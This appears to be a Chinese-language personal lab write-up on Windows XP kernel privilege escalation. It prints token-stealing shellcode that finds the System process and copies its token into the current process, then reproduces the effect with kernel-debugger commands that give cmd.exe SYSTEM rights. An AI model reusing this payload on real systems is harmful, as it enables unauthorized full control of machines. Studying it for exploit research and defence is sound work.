内核提权漏洞以前是一直没有运行成功,可能是因为xp下的SSDT不可写吧。 其实有没有内核漏洞对我都无所谓,漏洞只是提供了一种从低权限到高权限的一个途径。 我们通过内核调试来模拟这个途径。
现有的内核shellcode都是通过将system进程的令牌替换当前进程的令牌而达到提权目的的。 xp下的内核提权shellcode如下: mov eax,0xFFDFF124 // eax = KPCR (not 3G Mode)
Mov eax,[eax] mov esi,[eax+0x220] //取当前进程EPROCESS
mov eax,esi searchXp: mov eax,[eax+0x88]
sub eax,0x88
mov edx,[eax+0x84]
cmp edx,0x4 // 通过PID查找系统进程
jne searchXp mov eax,[eax+0xc8] // 获取system进程的token
mov [esi+0xc8],eax // 修改当前进程的token ret 8
也就是在xp下令牌的偏移相对于EPROCESS是c8 在虚拟机里以guest运行cmd,
然后切换到内核调试状态 查看cmd的EPROCESS kd> !process 0 0 cmd.exe
PROCESS 8208a980 SessionId: 0 Cid: 0164 Peb: 7ffd6000 ParentCid: 0340
DirBase: 14a8a000 ObjectTable: e11dd4f0 HandleCount: 29.
Image: cmd.exe cmd的令牌kd> dd 8208a980+c8 l1
8208aa48 e10cca21 查看system进程EPROCESS
kd> !process 0 0 system
PROCESS 822d27f8 SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000
DirBase: 00039000 ObjectTable: e1000cb8 HandleCount: 199.
Image: System system的令牌kd> dd 822d27f8+c8 l1
822d28c0 e100175b 用system的令牌替换cmd的令牌
kd> ed 8208aa48
8208aa48 e10cca21 e100175b
e100175b
8208aa4c 00000001 这样系统里的cmd就具有system权限了 在里面运行一个计算器,可以从进程浏览器里看到用户名已经是system了。 有一个问题是再次切到内核里查看cmd的令牌时,值变成不一样了,有点奇怪!kd> dd 8208a980+c8 l1
8208aa48 e100175d 这个值变了!
kd> dd 822d27f8+c8 l1
822d28c0 e100175b
|